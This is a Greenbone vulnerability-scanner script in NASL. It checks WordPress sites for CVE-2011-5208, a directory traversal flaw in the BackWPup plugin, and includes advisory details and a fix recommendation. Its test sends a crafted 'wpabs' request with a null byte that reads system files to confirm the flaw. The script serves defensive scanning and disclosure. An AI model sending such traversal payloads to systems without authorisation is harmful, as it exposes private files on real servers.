WordPress BackWPup Plugin Multiple Directory Traversal Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802979");
  script_version("2025-04-15T05:54:49+0000");
  script_cve_id("CVE-2011-5208");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2012-10-09 14:50:11 +0530 (Tue, 09 Oct 2012)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("WordPress BackWPup Plugin Multiple Directory Traversal Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/43565");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Feb/663");

  script_tag(name:"impact", value:"Successful exploitation could allow attackers to perform directory traversal
  attacks and read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"WordPress BackWPup Plugin Version prior to 1.4.1");

  script_tag(name:"insight", value:"Input passed via the 'wpabs' parameter to
  wp-content/plugins/backwpup/app/options-view_log-iframe.php
  (when logfile is set to an existing file) and to
  wp-content/plugins/backwpup/app/options-runnow-iframe.php
  (when jobid is set to a numeric value) is not properly verified before being
  used to include files.");

  script_tag(name:"solution", value:"Update to WordPress BackWPup Plugin version 1.4.1 or later.");

  script_tag(name:"summary", value:"WordPress BackWPup Plugin is prone to multiple directory traversal vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/backwpup/");
  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)){

  url = dir + "/wp-content/plugins/backwpup/app/options-runnow-iframe.php?wpabs=/" + files[file] + "%00&jobid=1";

  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);